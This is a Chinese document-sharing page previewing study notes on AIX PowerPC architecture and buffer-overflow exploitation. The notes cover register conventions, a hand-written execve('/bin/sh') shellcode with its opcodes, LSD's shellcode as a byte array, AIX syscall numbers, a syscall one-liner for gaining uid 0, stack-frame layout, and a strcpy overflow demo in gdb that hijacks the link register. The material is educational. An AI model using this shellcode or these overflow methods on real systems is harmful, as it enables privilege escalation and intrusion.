AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx

上传人:b****1 文档编号:456105 上传时间:2023-04-28 格式:DOCX 页数:32 大小:25.49KB
下载 相关 举报
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第1页
第1页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第2页
第2页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第3页
第3页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第4页
第4页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第5页
第5页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第6页
第6页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第7页
第7页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第8页
第8页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第9页
第9页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第10页
第10页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第11页
第11页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第12页
第12页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第13页
第13页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第14页
第14页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第15页
第15页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第16页
第16页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第17页
第17页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第18页
第18页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第19页
第19页 / 共32页
AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx_第20页
第20页 / 共32页
亲,该文档总共32页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx

《AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx》由会员分享,可在线阅读,更多相关《AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx(32页珍藏版)》请在冰点文库上搜索。

AIX PowerPC体系结构及其溢出技术学习笔记文档格式.docx

寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。

寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。

此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。

条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。

cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。

在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。

在执行系统调用指令之前有两个额外的先决条件:

LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorccr6,cr6,cr6指令。

二、学习AIXPowerPC汇编

由于对AIXPowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。

二进制的gcc可以从http:

//aixpdslib.seas.ucla.edu/下载到。

先写一个最小的C程序:

/*setuid.c

*

*LearnAIXPowerPCassemble

*/

#include;

intmain()

{

setuid(0);

}

用gcc的-S选项编译一下:

bash-2.04$gcc-Ssetuid.c

在当前目录得到setuid.s:

.file"

setuid.c"

.toc

.csect.text[PR]

gcc2_compiled.:

__gnu_compiled_c:

.align2

.globlmain

.globl.main

.csectmain[DS]

main:

.long.main,TOC[tc0],0

.main:

.extern__mulh

.extern__mull

.extern__divss

.extern__divus

.extern__quoss

.extern__quous

mflr0

stw31,-4

(1)

stw0,8

(1)

stwu1,-64

(1)

mr31,1

bl.__main

cror31,31,31

li3,0

bl.setuid

L..2:

lwz1,0

(1)

lwz0,8

(1)

mtlr0

lwz31,-4

(1)

blr

LT..main:

.long0

.byte0,0,32,97,128,1,0,1

.longLT..main-.main

.short4

.byte"

main"

.byte31

_section_.text:

.csect.data[RW],3

.long_section_.text

经过精简,发现如下这样的格式就足够了:

.globl.main

三、学习AIXPowerPC的shellcode

B-r00t的PowerPC/OSX(Darwin)ShellcodeAssembly写的非常通俗易懂,只可惜是OSX系统,不过现在我们也可以依样画葫芦了:

bash-2.04$catsimple_execve.s

xor.%r5,%r5,%r5#把r5寄存器清空,并且在cr寄存器设置相等标志

bnel.main#如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环

mflr%r3#等价于mfsprr3,8,把lr寄存器的值拷贝到r3。

这里r3寄存器的值就是这条指令的地址

addi%r3,%r3,32#上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址

stw%r3,-8(%r1)#argv[0]=string把r3写入堆栈

stw%r5,-4(%r1)#argv[1]=NULL把0写入堆栈

subi%r4,%r1,8#r4指向argv[]

li%r2,3#AIX4.3的execve中断号是3

crorc%cr6,%cr6,%cr6#这个环境不加这条指令也能成功,lsd和IBMAixPowerPCAssembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。

这条指令确保是CR指令。

svca0#execve(r3,r4,r5)

string:

#execve(path,argv[],NULL)

.asciz"

/bin/sh"

bash-2.04$gcc-osimple_execvesimple_execve.s

bash-2.04$./simple_execve

$

正确执行了execve,用objdump查看一下它的opcode:

bash-2.04$objdump-dsimple_execve|more

0000000010000308;

:

10000308:

7ca52a79xor.r5,r5,r5

1000030c:

4082fffdbnel10000308;

10000310:

7c6802a6mflrr3

10000314:

38630020calr3,32(r3)

10000318:

9061fff8str3,-8(r1)

1000031c:

90a1fffcstr5,-4(r1)

10000320:

3881fff8calr4,-8(r1)

10000324:

38400003lilr2,3

10000328:

4cc63342crorc6,6,6

1000032c:

44000002svca0

10000330:

2f62696ecmpi6,r2,26990

10000334:

2f736800cmpi6,r19,26624

可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。

不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。

PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。

lsd提供了一个可用的shellcode:

/*shellcode.c

*rippedfromlsd

charshellcode[]=/*12*4+8bytes*/

"

\x7c\xa5\x2a\x79"

/*xor.r5,r5,r5*/

\x40\x82\xff\xfd"

/*bnel;

*/

\x7f\xe8\x02\xa6"

/*mflrr31*/

\x3b\xff\x01\x20"

/*calr31,0x120(r31)*/

\x38\x7f\xff\x08"

/*calr3,-248(r31)*/

\x38\x9f\xff\x10"

/*calr4,-240(r31)*/

\x90\x7f\xff\x10"

/*str3,-240(r31)*/

\x90\xbf\xff\x14"

/*str5,-236(r31)*/

\x88\x5f\xff\x0f"

/*lbzr2,-241(r31)*/

\x98\xbf\xff\x0f"

/*stbr5,-241(r31)*/

\x4c\xc6\x33\x42"

/*crorccr6,cr6,cr6*/

\x44\xff\xff\x02"

/*svca*/

\x03"

;

intmain(void)

intjump[2]={(int)shellcode,0};

((*(void(*)())jump)());

编译后,用IDAPro反汇编,在Nameswindow点击shellcode,并且按c强制反汇编:

.data:

200006D8shellcode:

#CODEXREF:

.data:

200006DC_p

200006D8#DATAXREF:

shellcode_TC_o

200006D87CA52A79xor.r5,r5,r5#把r5寄存器清空,并且在cr寄存器设置相等标志

200006DC4082FFFDbnelshellcode#如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环

200006E07FE802A6mflrr31#等价于mfsprr31,8,这里把lr寄存器的值拷贝到r31

200006E43BFF0120addir31,r31,0x120#r31等于.data:

20000800

200006E8387FFF08subir3,r31,0xF8#r3等于.data:

20000708

200006EC389FFF10subir4,r31,0xF0#r4等于.data:

20000710

200006F0907FFF10stwr3,-0xF0(r31)#把地址.data:

20000708放到.data:

200006F490BFFF14stwr5,-0xEC(r31)#把0放到.data:

20000714

200006F8885FFF0Flbzrtoc,-0xF1(r31)#读入execve的中断号到r2寄存器

200006FC98BFFF0Fstbr5,-0xF1(r31)#.data:

2000070F写入一个字节0

200007004CC63342crorc4*cr1+eq,4*cr1+eq,4*cr1+eq#ConditionRegisterORwithComlement

20000700#哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?

2000070444.byte0x44#execve(r3,r4,r5)

20000705FF.byte0xFF#execve(path,argv[],NULL)

20000706FF.byte0xFF

2000070702.byte2

200007082F.byte0x2F#/

2000070962.byte0x62#b

2000070A69.byte0x69#i

2000070B6E.byte0x6E#n

2000070C2F.byte0x2F#/

2000070D73.byte0x73#s

2000070E68.byte0x68#h

2000070F03.byte3

至此,我们了解了AIXPowerPC下如何简单的调试shellcode。

有一个很大的问题,AIX的各系统调用号随系统版本不断变化,这给写通用shellcode造成很大的困难,watercloud整理过各系统版本一部分系统调用号[7]:

Aix5.1seteuid0xb6setreuid0xb7execve0x5

Aix4.3seteuid0x92setreuid0x96execve0x3

Aix4.3.3seteuid0x92/0x93setuid0x93/0x94setreuid0x96/0x97execve0x4/0x3

Aix4.2setuid0x71execve0x2

Aix4.3setregid:

?

?

Aix4.3.3setregid:

248/247

Aix5.1setregid:

Aix5.2execve:

setreuid:

setregid:

这个表并不是很全,有环境的朋友可以继续修改补全。

另外Aix提供了一个syscall命令,

如果我们拿到了euid=0就权限可以这样使得uid=0了:

/usr/bin/syscallsetreuid00\;

execve"

四、学习AIXPowerPC的溢出技术

要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。

32位PowerPC的堆栈结构如下图:

.调用前的堆栈..调用后的堆栈.

....

||||

+----------------+-+----------------+-

|Parameterarea|||Parameterarea||

+----------------++-调用函数+----------------++-调用函数

|Linkagearea|||Linkagearea||

SP--->

;

+----------------+-+----------------+-

|堆栈增长方向||Savedregisters||

.|.+----------------+|

.v.|Localvariables||

+----------------++-被调函数

|Parameterarea||

+----------------+|

|Linkagearea||

SP--->

+----------------+-

|堆栈增长方向|

.|.

.v.

每个PowerPC的栈帧数据包含4个部分:

链接区、参数区、本地变量和寄存器区。

链接区保存了被调函数和调用函数的一些值,它的结构如下:

+24+----------------+

|SavedTOC|

+20+----------------+

|Reserved|

+16+----------------+

+12+----------------+

|SavedLR|

+8+----------------+

|SavedCR|

+4+----------------+

|SavedSP|

+----------------+

被调函数的链接寄存器(LR)保存到8(SP)。

被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。

堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。

全局链接代码会把TOC指针保存到20(SP)的地方。

参数区用来传递其它被调函数的参数。

当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。

如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。

它的大小在编译的时候确定,是不可修改的。

寄存器区包含非易失性寄存器的值。

当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。

当然,被调函数返回的时候需要恢复这些寄存器的值。

ia32中当函数返回时,一般都有如下三条指令:

movesp,ebp;

堆栈指针esp指向前一个栈帧

popebp

ret;

执行esp+4保存的返回地址

AIXPowerPC中当函数返回时,一般有如下几条指令:

lwzr1,0(r1)#堆栈指针r1指向前一个栈帧

lwzr0,8(r1)#r0等于堆栈里保存的lr值

mtlrr0#lr=r0

lwzr31,-4(r1)#

blr#跳到lr执行

可以看到虽然AIXPowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。

ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指定的地址执行;

AIXPowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。

文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:

bash-2.04$catsimple_overflow.c

/*simple_overflow.c

*Simpleprogramtodemonstratebufferoverflows

*onthePowerPCarchitecture.

charlargebuff[]=

"

1234512345123456=PRESERVEDSPACE=ABCD"

intmain(void)

charsmallbuff[16];

strcpy(smallbuff,largebuff);

bash-2.04$gcc-osimple_overflowsimple_overflow.c

bash-2.04$gdbsimple_overflow

GNUgdb5.0

Copyright2000FreeSoftwareFoundation,Inc.

GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouare

welcometochangeitand/ordistributecopiesofitundercertainconditions.

Type"

showcopying"

toseetheconditions.

ThereisabsolutelynowarrantyforGDB.Type"

showwarranty"

fordetails.

ThisGDBwasconfiguredas"

powerpc-ibm-aix4.3.2.0"

...

(gdb)r

Startingprogram:

/home/san/simple_overflow

ProgramreceivedsignalSIGSEGV,Segmentationfault.

0x41424344in?

()from(unknownloadmodule)

(gdb)ireg

r00x414243441094861636

r10x2ff22ba0804400032

r20x200007905

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > PPT模板 > 艺术创意

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2